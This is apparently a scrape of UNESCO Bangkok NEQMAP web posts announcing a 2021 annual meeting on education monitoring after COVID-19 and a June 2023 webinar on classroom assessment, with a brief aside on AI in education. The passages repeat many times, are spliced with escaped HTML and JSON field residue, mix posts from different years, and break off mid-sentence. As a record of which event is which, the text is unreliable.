As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_title":"Webinar | Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"open","post_password":"","post_name":"webinar-supporting-schools-and-teachers-use-of-assessment-to-inform-learning-of-all-students","to_ping":"","pinged":"","post_modified":"2025-01-16 20:36:11","post_modified_gmt":"2025-01-16 13:36:11","post_content_filtered":"\nDate and Location:\u00a0<\/strong> Thursday 22 June, 2023 12:30 PM - 3:00 PM\u00a0(GMT+7\/Bangkok time)\u00a0<\/p>\n\n\n\nType of event:<\/strong> Knowledge-sharing Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a href=\"http:\/\/bit.ly\/3oW3Waw\">bit.ly\/3oW3Waw<\/a><\/p>\n\n\n\nWe are delighted to invite you to\u00a0the presentation of the NEQMAP 2023 Topical Case studies under the theme\u00a0\u00a0\"<\/strong>\u00a0Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students: topical case studies from Asia and the Pacific.\"\u00a0.\u00a0<\/strong>During this event, you will learn about promising practices and approaches from Australia, Pakistan and India to support schools and teachers better embed assessment in the teaching and learning process.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_title":"Webinar | Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"open","post_password":"","post_name":"webinar-supporting-schools-and-teachers-use-of-assessment-to-inform-learning-of-all-students","to_ping":"","pinged":"","post_modified":"2025-01-16 20:36:11","post_modified_gmt":"2025-01-16 13:36:11","post_content_filtered":"\nDate and Location:\u00a0<\/strong> Thursday 22 June, 2023 12:30 PM - 3:00 PM\u00a0(GMT+7\/Bangkok time)\u00a0<\/p>\n\n\n\nType of event:<\/strong> Knowledge-sharing Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a href=\"http:\/\/bit.ly\/3oW3Waw\">bit.ly\/3oW3Waw<\/a><\/p>\n\n\n\nWe are delighted to invite you to\u00a0the presentation of the NEQMAP 2023 Topical Case studies under the theme\u00a0\u00a0\"<\/strong>\u00a0Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students: topical case studies from Asia and the Pacific.\"\u00a0.\u00a0<\/strong>During this event, you will learn about promising practices and approaches from Australia, Pakistan and India to support schools and teachers better embed assessment in the teaching and learning process.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_title":"Webinar | Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"open","post_password":"","post_name":"webinar-supporting-schools-and-teachers-use-of-assessment-to-inform-learning-of-all-students","to_ping":"","pinged":"","post_modified":"2025-01-16 20:36:11","post_modified_gmt":"2025-01-16 13:36:11","post_content_filtered":"\nDate and Location:\u00a0<\/strong> Thursday 22 June, 2023 12:30 PM - 3:00 PM\u00a0(GMT+7\/Bangkok time)\u00a0<\/p>\n\n\n\nType of event:<\/strong> Knowledge-sharing Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a href=\"http:\/\/bit.ly\/3oW3Waw\">bit.ly\/3oW3Waw<\/a><\/p>\n\n\n\nWe are delighted to invite you to\u00a0the presentation of the NEQMAP 2023 Topical Case studies under the theme\u00a0\u00a0\"<\/strong>\u00a0Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students: topical case studies from Asia and the Pacific.\"\u00a0.\u00a0<\/strong>During this event, you will learn about promising practices and approaches from Australia, Pakistan and India to support schools and teachers better embed assessment in the teaching and learning process.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_title":"Webinar | Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"open","post_password":"","post_name":"webinar-supporting-schools-and-teachers-use-of-assessment-to-inform-learning-of-all-students","to_ping":"","pinged":"","post_modified":"2025-01-16 20:36:11","post_modified_gmt":"2025-01-16 13:36:11","post_content_filtered":"\nDate and Location:\u00a0<\/strong> Thursday 22 June, 2023 12:30 PM - 3:00 PM\u00a0(GMT+7\/Bangkok time)\u00a0<\/p>\n\n\n\nType of event:<\/strong> Knowledge-sharing Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a href=\"http:\/\/bit.ly\/3oW3Waw\">bit.ly\/3oW3Waw<\/a><\/p>\n\n\n\nWe are delighted to invite you to\u00a0the presentation of the NEQMAP 2023 Topical Case studies under the theme\u00a0\u00a0\"<\/strong>\u00a0Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students: topical case studies from Asia and the Pacific.\"\u00a0.\u00a0<\/strong>During this event, you will learn about promising practices and approaches from Australia, Pakistan and India to support schools and teachers better embed assessment in the teaching and learning process.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_title":"Webinar | Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"open","post_password":"","post_name":"webinar-supporting-schools-and-teachers-use-of-assessment-to-inform-learning-of-all-students","to_ping":"","pinged":"","post_modified":"2025-01-16 20:36:11","post_modified_gmt":"2025-01-16 13:36:11","post_content_filtered":"\nDate and Location:\u00a0<\/strong> Thursday 22 June, 2023 12:30 PM - 3:00 PM\u00a0(GMT+7\/Bangkok time)\u00a0<\/p>\n\n\n\nType of event:<\/strong> Knowledge-sharing Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a href=\"http:\/\/bit.ly\/3oW3Waw\">bit.ly\/3oW3Waw<\/a><\/p>\n\n\n\nWe are delighted to invite you to\u00a0the presentation of the NEQMAP 2023 